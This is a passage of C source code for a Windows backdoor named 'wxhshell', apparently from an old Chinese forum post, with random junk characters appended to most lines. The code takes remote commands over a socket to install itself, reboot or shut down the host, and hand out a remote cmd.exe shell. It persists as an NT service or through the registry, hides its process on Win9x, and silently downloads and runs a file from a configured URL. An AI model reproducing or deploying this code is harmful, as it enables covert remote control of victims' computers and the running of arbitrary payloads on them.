  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X13+n2^8]  
  } z U[pn)pe  
  else { J2VPOn  
;`7~Q  
    switch(cmd[0]) { h76j|1gI  
  GE!nf6>Km  
  // 帮助 *% ;A85V/  
  case '?': { "t4z)j;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cst1nGPL  
    break; |cY HH$  
  } %;:![?M  
  // 安装 .2JZ7  
  case 'i': { "H(3pl.  
    if(Install()) cDz@3So.b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n?r8ZDJ'  
    else pwfQqPC#_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }5vKQf   
    break; *J[ P#y  
    } vm+3!s:u  
  // 卸载 C<^i`[&P$  
  case 'r': { mnM]@8^G  
    if(Uninstall()) ct-Bq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YM_[   
    else Q;3`T7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fW2NYQP$:  
    break; > "F-1{  
    } ]gPx%c  
  // 显示 wxhshell 所在路径 -&2Z/qM&!  
  case 'p': { U!|)M  
    char svExeFile[MAX_PATH]; lot`6]  
    strcpy(svExeFile,"\n\r"); @ ,X/Wf  
      strcat(svExeFile,ExeFile); ZzE(S  
        send(wsh,svExeFile,strlen(svExeFile),0); O6y:e #0z  
    break; qA7,txQ:  
    } L%v@|COQ3  
  // 重启 ]j7`3%4uK  
  case 'b': { qLL rR,:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  <Y"RsW9  
    if(Boot(REBOOT)) F(`|-E"E;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); np^&cY]  
    else { b_ ZvI\H  
    closesocket(wsh); a.%ps:  
    ExitThread(0); fU$Jh/#":  
    } P I"KY@>H  
    break; ZUHW*U.  
    } @~hy'6/  
  // 关机 9]=J+ (M  
  case 'd': { Ql5bjlQdO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y p{Dl  
    if(Boot(SHUTDOWN)) ?+hEs =Xs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |k6+- 1~_  
    else { N/0aO^"V  
    closesocket(wsh); J8Wits]A]$  
    ExitThread(0); [x{$f7CEh  
    } SV t~pE+Y  
    break; 3#,6(k4>  
    } L-?ty@-i  
  // 获取shell x*z&#[(0g!  
  case 's': { Jt]RU+TB  
    CmdShell(wsh); Q |o$^D,  
    closesocket(wsh); :& Dv!z  
    ExitThread(0); kfas4mkc  
    break; *.nSv@F  
  } p}pRf@(`\  
  // 退出 .S,E=  
  case 'x': { ,4"N7_!7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^?Xs!kJP  
    CloseIt(wsh); e+BZoK ^  
    break; Z OPK  
    } I=&i &6v8G  
  // 离开 +&u/R')?6r  
  case 'q': { PR|z -T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :|V650/  
    closesocket(wsh); ?QffSSj[s  
    WSACleanup(); Y(6ev o&IR  
    exit(1); E}9wzPs  
    break; mF@7;dpr  
        } hA 5p'a+K  
  } {c)\}s(}F  
  } V $I8iVGL  
] hK}ASC  
  // 提示信息 %7mGMa/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n32"cFPpT  
} _s@PL59,  
  } '-A;B.GV%  
5XX)8gAo  
  return; P0>2}/;o  
} L,A+"  
-'qVnu  
// shell模块句柄 J(}PvkA  
int CmdShell(SOCKET sock) i;{lY1  
{ '/qy_7O  
STARTUPINFO si; d%k7n+ICQ4  
ZeroMemory(&si,sizeof(si)); \}h   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }h Wv  p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &u&WP  
PROCESS_INFORMATION ProcessInfo; cy@R i#  
char cmdline[]="cmd"; -B-G$ii  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2R,} j@  
  return 0; ,!Q nh:  
} R4 eu,,J  
U:8] G  
// 自身启动模式 e bp t/q[  
int StartFromService(void) oQ -m  
{ "[7-1}l  
typedef struct $i+@vbU6  
{ dz+!yE\f$  
  DWORD ExitStatus; RdD>&D$I  
  DWORD PebBaseAddress; `,SL\\%u  
  DWORD AffinityMask; ~.3v\Q  
  DWORD BasePriority; RN 4?]8  
  ULONG UniqueProcessId; *_I`{9~'  
  ULONG InheritedFromUniqueProcessId; %`k [xz  
}   PROCESS_BASIC_INFORMATION; AR( gI]1  
j"6|$Ze8  
PROCNTQSIP NtQueryInformationProcess; #b*4v&<  
jC[_uG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q(-&}cY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8>WA5:]v  
cdkEK  
  HANDLE             hProcess;  &ox  
  PROCESS_BASIC_INFORMATION pbi; +pG+ xI  
t[+bZUS$~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2F*>&n&Db7  
  if(NULL == hInst ) return 0; zx<PX  
Ojz'p5d`>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EGgw#JAi#t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '6vo#D9M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `w#VYs|k  
2iM}YCV  
  if (!NtQueryInformationProcess) return 0; OEaL2T  
6oLOA}q   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eb`3'&zV&)  
  if(!hProcess) return 0; &c!6e<o[p  
vC>2%Zgf-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W7 A!QS  
/7"V~c6  
  CloseHandle(hProcess); F-zIzzb&O  
az![u)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4GI3|{  
if(hProcess==NULL) return 0; F% a&|X  
A^M]vk%dg  
HMODULE hMod; bv h#Q_  
char procName[255]; }v}F8}4  
unsigned long cbNeeded; ``< #F3  
!%M,x~H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }0\SNpVN  
sAU%:W{  
  CloseHandle(hProcess); @2. :fK  
v`QDms,{  
if(strstr(procName,"services")) return 1; // 以服务启动 ]QR]#[Tn'  
QAx9W%  
  return 0; // 注册表启动 xP~GpVhLF  
} ds+K7B$  
\( V1-,  
// 主模块 9;%$  
int StartWxhshell(LPSTR lpCmdLine) Q e+;BE-H  
{ m%u`#67oK  
  SOCKET wsl; f_O|  
BOOL val=TRUE; 8D`+3  
  int port=0; Xj+_"0 #  
  struct sockaddr_in door; I2HV{1(i  
|~%RSS~b*  
  if(wscfg.ws_autoins) Install(); e0 y.J  
Hy :x.'i  
port=atoi(lpCmdLine); $+J39%Y!^  
/9kxDbj  
if(port<=0) port=wscfg.ws_port; XdThl  
7#+Ih-&EQ  
  WSADATA data; ~Yc~_)hD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %t,42jQ9  
^A&{g.0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (*r2bm2FPO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r3?8nQ$  
  door.sin_family = AF_INET; XdDQ$'*X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @1'OuX^  
  door.sin_port = htons(port); Z?xaXFm_  
_+P*XY5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0 N7I:vJ  
closesocket(wsl); p/_W*0/i  
return 1; A@|Z^T:  
} ^_v94!a 9  
P=EZ6<c3&  
  if(listen(wsl,2) == INVALID_SOCKET) { ^k % +ao  
closesocket(wsl); l opl  
return 1; g zi=+oJ|4  
} ?;](;n#lU  
  Wxhshell(wsl); >F^$ ' b]  
  WSACleanup(); t)8c rX}P  
j%3 $ytf|p  
return 0; Tx&H1  
='D%c^;O8'  
} 'X+aYF }Ye  
}N -UlL(  
// 以NT服务方式启动 XelFGTE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W20- oZ8  
{ XOqHzft h6  
DWORD   status = 0;  dEXhn  
  DWORD   specificError = 0xfffffff; A4l"^dZc  
_:Q^mV=;j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }P%gwgPK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $I-iq @  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3F;0a ;[  
  serviceStatus.dwWin32ExitCode     = 0; m`zd0IRTP  
  serviceStatus.dwServiceSpecificExitCode = 0; w7~]c,$y.  
  serviceStatus.dwCheckPoint       = 0; 1f^oW[w&  
  serviceStatus.dwWaitHint       = 0; jo"+_)]  
jN{k }  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i: -IZL\  
  if (hServiceStatusHandle==0) return; 7ojh=imY  
=3hJti9[  
status = GetLastError(); M.5F|7  
  if (status!=NO_ERROR) sCy.i/y  
{ " Ke_dM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =>Ae]mi 7  
    serviceStatus.dwCheckPoint       = 0; J%ws-A?6rN  
    serviceStatus.dwWaitHint       = 0; H h](n<Bs  
    serviceStatus.dwWin32ExitCode     = status; kKbbsB  
    serviceStatus.dwServiceSpecificExitCode = specificError; !^L}LtqHI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); as 3uz  
    return; 9VaSCB  
  } |af<2(d  
;QuxTmWp^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !#]kzS0  
  serviceStatus.dwCheckPoint       = 0; /Tl ybSC1  
  serviceStatus.dwWaitHint       = 0; )N{PWSPs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8z=o.\@  
} |#*+#27  
4ybOK~z  
// 处理NT服务事件,比如:启动、停止 HSG9|}$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #F .8x@  
{ < :eKXH2  
switch(fdwControl) M[b~5L+S  
{ (1{OQ0N+x  
case SERVICE_CONTROL_STOP: $+e(k~  
  serviceStatus.dwWin32ExitCode = 0; 9|>y[i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /Y\q&}  
  serviceStatus.dwCheckPoint   = 0; ,trh)ZZYW|  
  serviceStatus.dwWaitHint     = 0; b2F1^]p  
  { vA*NJ%&`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tvzO)&)$  
  } )CL/%I,^  
  return; /%?bO-  
case SERVICE_CONTROL_PAUSE: +W>tdxOh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QQHC 1  
  break; qy\SOA h  
case SERVICE_CONTROL_CONTINUE: E.VEW;=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /KvpJ4  
  break; TKw>eGe  
case SERVICE_CONTROL_INTERROGATE: Z-U3Tr SI  
  break; <N 80MU L|  
}; #lVSQZO~a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r Z5eXew6  
} d9 8pv%  
EjVB\6,  
// 标准应用程序主函数 y;9K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NVC$8imip  
{ )[sSCt]  
#@5 jOi  
// 获取操作系统版本 CA"`7<,  
OsIsNt=GetOsVer(); H~hAm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1nLFtiki  
f'Xz4;  
  // 从命令行安装 ^n]?!BdU  
  if(strpbrk(lpCmdLine,"iI")) Install(); W\DJXM]b  
&zP\K~Nt  
  // 下载执行文件 m} =<@b:l  
if(wscfg.ws_downexe) { [qt^gy)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v#sx9$K T  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^T@-yys  
} ~ YZi"u  
8>:2li  
if(!OsIsNt) { HoM8V"8B  
// 如果时win9x,隐藏进程并且设置为注册表启动 VxAR,a1+n  
HideProc(); J Y> I  
StartWxhshell(lpCmdLine); wIbc8ze  
} C$B?|oUJc  
else ;#"`]khd  
  if(StartFromService()) Xg"Mjmr  
  // 以服务方式启动 \=~<I  
  StartServiceCtrlDispatcher(DispatchTable); gwF@'Uu  
else !lB,2_  
  // 普通方式启动 q%^gG03.  
  StartWxhshell(lpCmdLine); }W%}_UT  
U(qM( E  
return 0; ~RE`@/wQ]  
}
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只看该作者 1 发表于: 2006-10-10
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